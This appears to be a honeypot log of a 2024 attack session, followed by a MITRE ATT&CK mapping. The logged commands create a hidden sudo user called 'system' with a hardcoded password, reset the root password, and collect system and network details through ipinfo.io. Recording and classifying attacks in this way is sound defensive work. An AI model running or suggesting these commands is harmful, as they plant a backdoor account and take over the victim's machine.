Honeypot attack session (period 2024), commands issued:
apt update && apt install sudo curl -y && sudo useradd -m -p $(openssl passwd -1 kqymhM7C) system && sudo usermod -aG sudo system
openssl passwd -1 kqymhM7C
lscpu && echo -e "kqymhM7C\nkqymhM7C" | passwd && curl https://ipinfo.io/org --insecure -s && free -h && apt

MITRE ATT&CK techniques observed:
T1082 System Information Discovery
T1098 Account Manipulation
T1590 Gather Victim Network Information
T1082 System Information Discovery